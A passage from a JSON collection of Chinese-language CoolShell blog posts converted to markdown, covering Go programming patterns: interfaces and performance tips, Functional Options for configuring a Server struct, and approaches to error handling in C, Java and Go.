Chen\",\n        Sexual: \"Male\",\n        Age: 44,\n    }\n\n    PrintPerson(&p)\n    p.Print()\n}\n```\n\n你更喜欢哪种方式呢？在 Go 语言中，使用“成员函数”的方式叫“Receiver”，这种方式是一种封装，因为 `PrintPerson()`本来就是和 `Person`强耦合的，所以，理应放在一起。更重要的是，这种方式可以进行接口编程，对于接口编程来说，也就是一种抽象，主要是用在“多态”，这个技术，在《[Go语言简介（上）：接口与多态](https://coolshell.cn/articles/8460.html#%E6%8E%A5%E5%8F%A3%E5%92%8C%E5%A4%9A%E6%80%81)》中已经讲过。在这里，我想讲另一个Go语言接口的编程模式。\n\n\n首先，我们来看一下，有下面这段代码：\n\n\n\n```\ntype Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Printable interface {\n    PrintStr()\n}\nfunc (c Country) PrintStr() {\n    fmt.Println(c.Name)\n}\nfunc (c City) PrintStr() {\n    fmt.Println(c.Name)\n}\n\nc1 := Country {\"China\"}\nc2 := City {\"Beijing\"}\nc1.PrintStr()\nc2.PrintStr()\n```\n\n其中，我们可以看到，其使用了一个 `Printable` 的接口，而 `Country` 和 `City` 都实现了接口方法 `PrintStr()` 而把自己输出。然而，这些代码都是一样的。能不能省掉呢？\n\n\n我们可以使用“结构体嵌入”的方式来完成这个事，如下的代码所示，\n\n\n\n```\ntype WithName struct {\n    Name string\n}\n\ntype Country struct {\n    WithName\n}\n\ntype City struct {\n    WithName\n}\n\ntype Printable interface {\n    PrintStr()\n}\n\nfunc (w WithName) PrintStr() {\n    fmt.Println(w.Name)\n}\n\nc1 := Country {WithName{ \"China\"}}\nc2 := City { WithName{\"Beijing\"}}\nc1.PrintStr()\nc2.PrintStr()\n```\n\n引入一个叫 `WithName`的结构体，然而，所带来的问题就是，在初始化的时候，变得有点乱。那么，我们有没有更好的方法？下面是另外一个解。\n\n\n\n```\ntype Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Stringable interface {\n    ToString() string\n}\nfunc (c Country) ToString() string {\n    return \"Country = \" + c.Name\n}\nfunc (c City) ToString() string{\n    return \"City = \" + c.Name\n}\n\nfunc PrintStr(p Stringable) {\n    fmt.Println(p.ToString())\n}\n\nd1 := Country {\"USA\"}\nd2 := City{\"Los Angeles\"}\nPrintStr(d1)\nPrintStr(d2)\n```\n\n上面这段代码，我们可以看到——**我们使用了一个叫`Stringable` 的接口，我们用这个接口把“业务类型” `Country` 和 `City` 和“控制逻辑” `Print()` 给解耦了。**于是，只要实现了`Stringable` 接口，都可以传给 `PrintStr()` 来使用。\n\n\n这种编程模式在Go 的标准库有很多的示例，最著名的就是 `io.Read` 和 `ioutil.ReadAll` 的玩法，其中 `io.Read` 是一个接口，你需要实现他的一个 `Read(p []byte) (n int, err error)` 接口方法，只要满足这个规模，就可以被 `ioutil.ReadAll`这个方法所使用。**这就是面向对象编程方法的黄金法则——“Program to an interface not an implementation”**\n\n\n#### 接口完整性检查\n\n\n另外，我们可以看到，Go语言的编程器并没有严格检查一个对象是否实现了某接口所有的接口方法，如下面这个示例：\n\n\n\n```\ntype Shape interface {\n    Sides() int\n    Area() int\n}\ntype Square struct {\n    len int\n}\nfunc (s* Square) Sides() int {\n    return 4\n}\nfunc main() {\n    s := Square{len: 5}\n    fmt.Printf(\"%d\\n\",s.Sides())\n}\n```\n\n我们可以看到 `Square` 并没有实现 `Shape` 接口的所有方法，程序虽然可以跑通，但是这样编程的方式并不严谨，如果我们需要强制实现接口的所有方法，那么我们应该怎么办呢？\n\n\n在Go语言编程圈里有一个比较标准的作法：\n\n\n\n```\nvar _ Shape = (*Square)(nil)\n```\n\n声明一个 `_` 变量（没人用），其会把一个 `nil` 的空指针，从 `Square` 转成 `Shape`，这样，如果没有实现完相关的接口方法，编译器就会报错：\n\n\n\n> cannot use (\\*Square)(nil) (type \\*Square) as type Shape in assignment: \\*Square does not implement Shape (missing Area method)\n> \n> \n\n\n这样就做到了个强验证的方法。\n\n\n#### 时间\n\n\n对于时间来说，这应该是编程中比较复杂的问题了，相信我，时间是一种非常复杂的事（比如《[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html \"你确信你了解时间吗？\")》、《[关于闰秒](https://coolshell.cn/articles/7804.html \"关于闰秒\")》等文章）。而且，时间有时区、格式、精度等等问题，其复杂度不是一般人能处理的。所以，一定要重用已有的时间处理，而不是自己干。\n\n\n在 Go 语言中，你一定要使用 `time.Time` 和 `time.Duration` 两个类型：\n\n\n* 在命令行上，`flag` 通过 `time.ParseDuration` 支持了 `time.Duration`\n* JSon 中的 `encoding/json` 中也可以把`time.Time` 编码成 [RFC 3339](https://tools.ietf.org/html/rfc3339) 的格式\n* 数据库使用的 `database/sql` 也支持把 `DATATIME` 或 `TIMESTAMP` 类型转成 `time.Time`\n* YAML你可以使用 `gopkg.in/yaml.v2` 也支持 `time.Time` 、`time.Duration` 和 [RFC 3339](https://tools.ietf.org/html/rfc3339) 格式\n\n\n如果你要和第三方交互，实在没有办法，也请使用 [RFC 3339](https://tools.ietf.org/html/rfc3339) 的格式。\n\n\n最后，如果你要做全球化跨时区的应用，你一定要把所有服务器和时间全部使用UTC时间。\n\n\n#### 性能提示\n\n\nGo 语言是一个高性能的语言，但并不是说这样我们就不用关心性能了，我们还是需要关心的。下面是一个在编程方面和性能相关的提示。\n\n\n* 如果需要把数字转字符串，使用 `strconv.Itoa()` 会比 `fmt.Sprintf()` 要快一倍左右\n* 尽可能地避免把`String`转成`[]Byte` 。这个转换会导致性能下降。\n* 如果在for-loop里对某个slice 使用 `append()`请先把 slice的容量很扩充到位，这样可以避免内存重新分享以及系统自动按2的N次方幂进行扩展但又用不到，从而浪费内存。\n* 使用`StringBuffer` 或是`StringBuild` 来拼接字符串，会比使用 `+` 或 `+=` 性能高三到四个数量级。\n* 尽可能的使用并发的 go routine，然后使用 `sync.WaitGroup` 来同步分片操作\n* 避免在热代码中进行内存分配，这样会导致gc很忙。尽可能的使用 `sync.Pool` 来重用对象。\n* 使用 lock-free的操作，避免使用 mutex，尽可能使用 `sync/Atomic`包。 （关于无锁编程的相关话题，可参看《[无锁队列实现](https://coolshell.cn/articles/8239.html \"无锁队列的实现\")》或《[无锁Hashmap实现](https://coolshell.cn/articles/9703.html \"无锁HashMap的原理与实现\")》）\n* 使用 I/O缓冲，I/O是个非常非常慢的操作，使用 `bufio.NewWrite()` 和 `bufio.NewReader()` 可以带来更高的性能。\n* 对于在for-loop里的固定的正则表达式，一定要使用 `regexp.Compile()` 编译正则表达式。性能会得升两个数量级。\n* 如果你需要更高性能的协议，你要考虑使用 [protobuf](https://github.com/golang/protobuf) 或 [msgp](https://github.com/tinylib/msgp) 而不是JSON，因为JSON的序列化和反序列化里使用了反射。\n* 你在使用map的时候，使用整型的key会比字符串的要快，因为整型比较比字符串比较要快。\n\n\n#### 参考文档\n\n\n还有很多不错的技巧，下面的这些参考文档可以让你写出更好的Go的代码，必读！\n\n\n* **Effective** **Go**<https://golang.org/doc/effective_go.html>\n* **Uber** **Go** **Style**<https://github.com/uber-go/guide/blob/master/style.md>\n* **50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs**<http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/>\n* **Go** **Advice**<https://github.com/cristaloleg/go-advice>\n* **Practical Go Benchmarks**<https://www.instana.com/blog/practical-golang-benchmarks/>\n* **Benchmarks of Go serialization methods**<https://github.com/alecthomas/go_serialization_benchmarks>\n* **Debugging** **performance** **issues** **in** **Go** **programs**<https://github.com/golang/go/wiki/Performance>\n* **Go** **code** **refactoring:** **the** **23x** **performance** **hunt**<https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-22 Go 编程模式：Functional Options.md",
    "content": "---\nlayout: post\ntitle: Go 编程模式：Functional Options\ndate: 2020/12/22/ 15:23:52\nupdated: 2020/12/22/ 15:23:52\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.options-300x186.png)在本篇文章中，我们来讨论一下Functional Options这个编程模式。这是一个函数式编程的应用案例，编程技巧也很好，是目前在Go语言中最流行的一种编程模式。但是，在我们正式讨论这个模式之前，我们需要先来看看要解决什么样的问题。\n\n\n### 本文是全系列中第3 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* Go 编程模式：Functional Options\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21140.html \"Go 编程模式：错误处理\")[下一篇文章](https://coolshell.cn/articles/21214.html \"Go编程模式：委托和反转控制\") »\n#### 配置选项问题\n\n\n在我们编程中，我们会经常性的需要对一个对象（或是业务实体）进行相关的配置。比如下面这个业务实体（注意，这仅只是一个示例）：\n\n\n\n```\ntype Server struct {\n    Addr     string\n    Port     int\n    Protocol string\n    Timeout  time.Duration\n    MaxConns int\n    TLS      *tls.Config\n}\n```\n\n在这个 `Server` 对象中，我们可以看到：\n\n\n\n* 要有侦听的IP地址 `Addr` 和端口号 `Port` ，这两个配置选项是必填的（当然，IP地址和端口号都可以有默认值，当这里我们用于举例认为是没有默认值，而且不能为空，需要必填的）。\n* 然后，还有协议 `Protocol` 、 `Timeout` 和`MaxConns` 字段，这几个字段是不能为空的，但是有默认值的，比如：协议是`tcp`, 超时`30`秒 和 最大链接数`1024`个。\n* 还有一个 `TLS` 这个是安全链接，需要配置相关的证书和私钥。这个是可以为空的。\n\n\n所以，针对于上述这样的配置，我们需要有多种不同的创建不同配置 `Server` 的函数签名，如下所示（代码比较宽，需要左右滚动浏览）：\n\n\n\n```\nfunc NewDefaultServer(addr string, port int) (*Server, error) {\n  return &Server{addr, port, \"tcp\", 30 * time.Second, 100, nil}, nil\n}\n\nfunc NewTLSServer(addr string, port int, tls *tls.Config) (*Server, error) {\n  return &Server{addr, port, \"tcp\", 30 * time.Second, 100, tls}, nil\n}\n\nfunc NewServerWithTimeout(addr string, port int, timeout time.Duration) (*Server, error) {\n  return &Server{addr, port, \"tcp\", timeout, 100, nil}, nil\n}\n\nfunc NewTLSServerWithMaxConnAndTimeout(addr string, port int, maxconns int, timeout time.Duration, tls *tls.Config) (*Server, error) {\n  return &Server{addr, port, \"tcp\", 30 * time.Second, maxconns, tls}, nil\n}\n```\n\n因为Go语言不支持重载函数，所以，你得用不同的函数名来应对不同的配置选项。\n\n\n#### 配置对象方案\n\n\n要解决这个问题，最常见的方式是使用一个配置对象，如下所示：\n\n\n\n```\ntype Config struct {\n    Protocol string\n    Timeout  time.Duration\n    Maxconns int\n    TLS      *tls.Config\n}\n```\n\n我们把那些非必输的选项都移到一个结构体里，于是 `Server` 对象变成了：\n\n\n\n```\ntype Server struct {\n    Addr string\n    Port int\n    Conf *Config\n}\n```\n\n于是，我们只需要一个 `NewServer()` 的函数了，在使用前需要构造 `Config` 对象。\n\n\n\n```\nfunc NewServer(addr string, port int, conf *Config) (*Server, error) {\n    //...\n}\n\n//Using the default configuratrion\nsrv1, _ := NewServer(\"localhost\", 9000, nil) \n\nconf := ServerConfig{Protocol:\"tcp\", Timeout: 60*time.Duration}\nsrv2, _ := NewServer(\"locahost\", 9000, &conf)\n```\n\n这段代码算是不错了，大多数情况下，我们可能就止步于此了。但是，对于有洁癖的有追求的程序员来说，他们能看到其中有一点不好的是，`Config` 并不是必需的，所以，你需要判断是否是 `nil` 或是 Empty –  `Config{}`这让我们的代码感觉还是有点不是很干净。\n\n\n#### Builder模式\n\n\n如果你是一个Java程序员，熟悉设计模式的一定会很自然地使用上Builder模式。比如如下的代码：\n\n\n\n```\nUser user = new User.Builder()\n  .name(\"Hao Chen\")\n  .email(\"haoel@hotmail.com\")\n  .nickname(\"左耳朵\")\n  .build();\n```\n\n仿照上面这个模式，我们可以把上面代码改写成如下的代码（注：下面的代码没有考虑出错处理，其中关于出错处理的更多内容，请参看《[Go 编程模式：出错处理](https://coolshell.cn/articles/21140.html \"GO 编程模式：错误处理\")》）：\n\n\n\n```\n//使用一个builder类来做包装\ntype ServerBuilder struct {\n  Server\n}\n\nfunc (sb *ServerBuilder) Create(addr string, port int) *ServerBuilder {\n  sb.Server.Addr = addr\n  sb.Server.Port = port\n  //其它代码设置其它成员的默认值\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithProtocol(protocol string) *ServerBuilder {\n  sb.Server.Protocol = protocol \n  return sb\n}\n\nfunc (sb *ServerBuilder) WithMaxConn( maxconn int) *ServerBuilder {\n  sb.Server.MaxConns = maxconn\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTimeOut( timeout time.Duration) *ServerBuilder {\n  sb.Server.Timeout = timeout\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTLS( tls *tls.Config) *ServerBuilder {\n  sb.Server.TLS = tls\n  return sb\n}\n\nfunc (sb *ServerBuilder) Build() (Server) {\n  return  sb.Server\n}\n\n```\n\n于是就可以以如下的方式来使用了\n\n\n\n```\nsb := ServerBuilder{}\nserver, err := sb.Create(\"127.0.0.1\", 8080).\n  WithProtocol(\"udp\").\n  WithMaxConn(1024).\n  WithTimeOut(30*time.Second).\n  Build()\n```\n\n上面这样的方式也很清楚，不需要额外的Config类，使用链式的函数调用的方式来构造一个对象，只需要多加一个Builder类，这个Builder类似乎有点多余，我们似乎可以直接在`Server` 上进行这样的 Builder 构造，的确是这样的。但是在处理错误的时候可能就有点麻烦（需要为Server结构增加一个error 成员，破坏了Server结构体的“纯洁”），不如一个包装类更好一些。\n\n\n如果我们想省掉这个包装的结构体，那么就轮到我们的Functional Options上场了，函数式编程。\n\n\n#### Functional Options\n\n\n首先，我们先定义一个函数类型：\n\n\n\n```\ntype Option func(*Server)\n```\n\n然后，我们可以使用函数式的方式定义一组如下的函数：\n\n\n\n```\nfunc Protocol(p string) Option {\n    return func(s *Server) {\n        s.Protocol = p\n    }\n}\nfunc Timeout(timeout time.Duration) Option {\n    return func(s *Server) {\n        s.Timeout = timeout\n    }\n}\nfunc MaxConns(maxconns int) Option {\n    return func(s *Server) {\n        s.MaxConns = maxconns\n    }\n}\nfunc TLS(tls *tls.Config) Option {\n    return func(s *Server) {\n        s.TLS = tls\n    }\n}\n```\n\n上面这组代码传入一个参数，然后返回一个函数，返回的这个函数会设置自己的 `Server` 参数。例如：\n\n\n* 当我们调用其中的一个函数用 `MaxConns(30)` 时\n* 其返回值是一个 `func(s* Server) { s.MaxConns = 30 }` 的函数。\n\n\n这个叫高阶函数。在数学上，就好像这样的数学定义，计算长方形面积的公式为： `rect(width, height) = width * height;` 这个函数需要两个参数，我们包装一下，就可以变成计算正方形面积的公式：`square(width) = rect(width, width)` 也就是说，`squre(width)`返回了另外一个函数，这个函数就是`rect(w,h)` 只不过他的两个参数是一样的。即：`f(x)  = g(x, x)`\n\n\n好了，现在我们再定一个 `NewServer()`的函数，其中，有一个可变参数 `options` 其可以传出多个上面上的函数，然后使用一个for-loop来设置我们的 `Server` 对象。\n\n\n\n```\nfunc NewServer(addr string, port int, options ...func(*Server)) (*Server, error) {\n\n  srv := Server{\n    Addr:     addr,\n    Port:     port,\n    Protocol: \"tcp\",\n    Timeout:  30 * time.Second,\n    MaxConns: 1000,\n    TLS:      nil,\n  }\n  for _, option := range options {\n    option(&srv)\n  }\n  //...\n  return &srv, nil\n}\n```\n\n于是，我们在创建 `Server` 对象的时候，我们就可以这样来了。\n\n\n\n```\ns1, _ := NewServer(\"localhost\", 1024)\ns2, _ := NewServer(\"localhost\", 2048, Protocol(\"udp\"))\ns3, _ := NewServer(\"0.0.0.0\", 8080, Timeout(300*time.Second), MaxConns(1000))\n```\n\n怎么样，是不是高度的整洁和优雅？不但解决了使用 `Config` 对象方式 的需要有一个config参数，但在不需要的时候，是放 `nil` 还是放 `Config{}`的选择困难，也不需要引用一个Builder的控制对象，直接使用函数式编程的试，在代码阅读上也很优雅。\n\n\n所以，以后，大家在要玩类似的代码时，强烈推荐使用Functional Options这种方式，这种方式至少带来了如下的好处：\n\n\n* 直觉式的编程\n* 高度的可配置化\n* 很容易维护和扩展\n* 自文档\n* 对于新来的人很容易上手\n* 没有什么令人困惑的事（是nil 还是空）\n\n\n#### 参考文档\n\n\n* **“Self referential functions and design” by Rob Pike**<http://commandcenter.blogspot.com.au/2014/01/self-referential-functions-and-design.html>\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\nThe post [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-22 Go 编程模式：错误处理.md",
    "content": "---\nlayout: post\ntitle: Go 编程模式：错误处理\ndate: 2020/12/22/ 10:19:30\nupdated: 2020/12/22/ 10:19:30\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/err-check-300x186.jpg)错误处理一直以一是编程必需要面对的问题，错误处理如果做的好的话，代码的稳定性会很好。不同的语言有不同的出现处理的方式。Go语言也一样，在本篇文章中，我们来讨论一下Go语言的出错出处，尤其是那令人抓狂的 `if err != nil` 。\n\n\n在正式讨论Go代码里满屏的 `if err != nil` 怎么办这个事之前，我想先说一说编程中的错误处理。这样可以让大家在更高的层面理解编程中的错误处理。\n\n\n### 本文是全系列中第2 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* Go 编程模式：错误处理\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21128.html \"Go编程模式：切片，接口，时间和性能\")[下一篇文章](https://coolshell.cn/articles/21146.html \"Go 编程模式：Functional Options\") »\n#### C语言的错误检查\n\n\n首先，我们知道，处理错误最直接的方式是通过错误码，这也是传统的方式，在过程式语言中通常都是用这样的方式处理错误的。比如 C 语言，基本上来说，其通过函数的返回值标识是否有错，然后通过全局的 `errno` 变量并配合一个 `errstr` 的数组来告诉你为什么出错。\n\n\n为什么是这样的设计？道理很简单，除了可以共用一些错误，更重要的是这其实是一种妥协。比如：`read()`, `write()`, `open()` 这些函数的返回值其实是返回有业务逻辑的值。也就是说，这些函数的返回值有两种语义，一种是成功的值，比如 `open()` 返回的文件句柄指针 `FILE*` ，或是错误 `NULL`。这样会导致调用者并不知道是什么原因出错了，需要去检查 `errno` 来获得出错的原因，从而可以正确地处理错误。\n\n\n一般而言，这样的错误处理方式在大多数情况下是没什么问题的。但是也有例外的情况，我们来看一下下面这个 C 语言的函数：\n\n\n\n\n```\nint atoi(const char *str)\n```\n\n这个函数是把一个字符串转成整型。但是问题来了，如果一个要传的字符串是非法的（不是数字的格式），如 “ABC” 或者整型溢出了，那么这个函数应该返回什么呢？出错返回，返回什么数都不合理，因为这会和正常的结果混淆在一起。比如，返回 `0`，那么会和正常的对 “0” 字符的返回值完全混淆在一起。这样就无法判断出错的情况。你可能会说，是不是要检查一下 `errno`，按道理说应该是要去检查的，但是，我们在 C99 的规格说明书中可以看到这样的描述——\n\n\n\n> 7.20.1The functions atof, atoi, atol, and atoll need not affect the value of the integer expression errno on an error. If the value of the result cannot be represented, the behavior is undeﬁned.\n> \n> \n\n\n像`atoi()`, `atof()`, `atol()` 或是 `atoll()` 这样的函数是不会设置 `errno`的，而且，还说了，如果结果无法计算的话，行为是undefined。所以，后来，libc 又给出了一个新的函数`strtol()`，这个函数在出错的时会设置全局变量 `errno` ：\n\n\n\n```\nlong val = strtol(in_str, &endptr, 10);  //10的意思是10进制\n\n//如果无法转换\nif (endptr == str) {\n    fprintf(stderr, \"No digits were found\\n\");\n    exit(EXIT_FAILURE);\n}\n\n//如果整型溢出了\nif ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) {\n    fprintf(stderr, \"ERROR: number out of range for LONG\\n\");\n    exit(EXIT_FAILURE);\n }\n\n//如果是其它错误\nif (errno != 0 && val == 0) {\n    perror(\"strtol\");\n    exit(EXIT_FAILURE);\n}\n\n```\n\n虽然，`strtol()` 函数解决了 `atoi()` 函数的问题，但是我们还是能感觉到不是很舒服和自然。\n\n\n因为，这种用 返回值 + errno 的错误检查方式会有一些问题:\n\n\n* 程序员一不小心就会忘记返回值的检查，从而造成代码的 Bug；\n* 函数接口非常不纯洁，正常值和错误值混淆在一起，导致语义有问题。\n\n\n所以，后来，有一些类库就开始区分这样的事情。比如，Windows 的系统调用开始使用 `HRESULT` 的返回来统一错误的返回值，这样可以明确函数调用时的返回值是成功还是错误。但这样一来，函数的 input 和 output 只能通过函数的参数来完成，于是出现了所谓的 入参 和 出参 这样的区别。\n\n\n然而，这又使得函数接入中参数的语义变得复杂，一些参数是入参，一些参数是出参，函数接口变得复杂了一些。而且，依然没有解决函数的成功或失败可以被人为忽略的问题。\n\n\n#### Java的错误处理\n\n\nJava语言使用 `try-catch-finally` 通过使用异常的方式来处理错误，其实，这比起C语言的错处理进了一大步，使用抛异常和抓异常的方式可以让我们的代码有这样的一些好处：\n\n\n* 函数接口在 input（参数）和 output（返回值）以及错误处理的语义是比较清楚的。\n* 正常逻辑的代码可以与错误处理和资源清理的代码分开，提高了代码的可读性。\n* 异常不能被忽略（如果要忽略也需要 catch 住，这是显式忽略）。\n* 在面向对象的语言中（如 Java），异常是个对象，所以，可以实现多态式的 catch。\n* 与状态返回码相比，异常捕捉有一个显著的好处是，函数可以嵌套调用，或是链式调用。比如：\n\t+ `int x = add(a, div(b,c));`\n\t+ `Pizza p = PizzaBuilder().SetSize(sz).SetPrice(p)...;`\n\n\n#### Go语言的错误处理\n\n\nGo 语言的函数支持多返回值，所以，可以在返回接口把业务语义（业务返回值）和控制语义（出错返回值）区分开来。Go 语言的很多函数都会返回 result, err 两个值，于是:\n\n\n* 参数上基本上就是入参，而返回接口把结果和错误分离，这样使得函数的接口语义清晰；\n* 而且，Go 语言中的错误参数如果要忽略，需要显式地忽略，用 \\_ 这样的变量来忽略；\n* 另外，因为返回的 `error` 是个接口（其中只有一个方法 `Error()`，返回一个 `string` ），所以你可以扩展自定义的错误处理。\n\n\n另外，如果一个函数返回了多个不同类型的 `error`，你也可以使用下面这样的方式：\n\n\n\n```\nif err != nil {\n  switch err.(type) {\n    case *json.SyntaxError:\n      ...\n    case *ZeroDivisionError:\n      ...\n    case *NullPointerError:\n      ...\n    default:\n      ...\n  }\n}\n```\n\n我们可以看到，Go语言的错误处理的的方式，本质上是返回值检查，但是他也兼顾了异常的一些好处 – 对错误的扩展。\n\n\n#### 资源清理\n\n\n出错后是需要做资源清理的，不同的编程语言有不同的资源清理的编程模式：\n\n\n* C语言 – 使用的是 `goto fail;` 的方式到一个集中的地方进行清理（有篇有意思的文章可以看一下《[由苹果的低级BUG想到的](https://coolshell.cn/articles/11112.html \"由苹果的低级Bug想到的\")》）\n* C++语言- 一般来说使用 [RAII模式](https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization)，通过面向对象的代理模式，把需要清理的资源交给一个代理类，然后在析构函数来解决。\n* Java语言 – 可以在finally 语句块里进行清理。\n* Go语言 – 使用 `defer` 关键词进行清理。\n\n\n下面是一个Go语言的资源清理的示例：\n\n\n\n```\nfunc Close(c io.Closer) {\n  err := c.Close()\n  if err != nil {\n    log.Fatal(err)\n  }\n}\n\nfunc main() {\n  r, err := Open(\"a\")\n  if err != nil {\n    log.Fatalf(\"error opening 'a'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n\n  r, err = Open(\"b\")\n  if err != nil {\n    log.Fatalf(\"error opening 'b'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n}\n```\n\n#### Error Check  Hell\n\n\n好了，说到 Go 语言的 `if err !=nil` 的代码了，这样的代码的确是能让人写到吐。那么有没有什么好的方式呢，有的。我们先看如下的一个令人崩溃的代码。\n\n\n\n```\nfunc parse(r io.Reader) (*Point, error) {\n\n    var p Point\n\n    if err := binary.Read(r, binary.BigEndian, &p.Longitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &p.Latitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &p.Distance); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &p.ElevationGain); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &p.ElevationLoss); err != nil {\n        return nil, err\n    }\n}\n```\n\n要解决这个事，我们可以用函数式编程的方式，如下代码示例：\n\n\n\n```\nfunc parse(r io.Reader) (*Point, error) {\n    var p Point\n    var err error\n    read := func(data interface{}) {\n        if err != nil {\n            return\n        }\n        err = binary.Read(r, binary.BigEndian, data)\n    }\n\n    read(&p.Longitude)\n    read(&p.Latitude)\n    read(&p.Distance)\n    read(&p.ElevationGain)\n    read(&p.ElevationLoss)\n\n    if err != nil {\n        return &p, err\n    }\n    return &p, nil\n}\n```\n\n上面的代码我们可以看到，我们通过使用Closure 的方式把相同的代码给抽出来重新定义一个函数，这样大量的  `if err!=nil` 处理的很干净了。但是会带来一个问题，那就是有一个 `err` 变量和一个内部的函数，感觉不是很干净。\n\n\n那么，我们还能不能搞得更干净一点呢，我们从Go 语言的 `bufio.Scanner()`中似乎可以学习到一些东西：\n\n\n\n```\nscanner := bufio.NewScanner(input)\n\nfor scanner.Scan() {\n    token := scanner.Text()\n    // process token\n}\n\nif err := scanner.Err(); err != nil {\n    // process the error\n}\n```\n\n上面的代码我们可以看到，`scanner`在操作底层的I/O的时候，那个for-loop中没有任何的 `if err !=nil` 的情况，退出循环后有一个 `scanner.Err()` 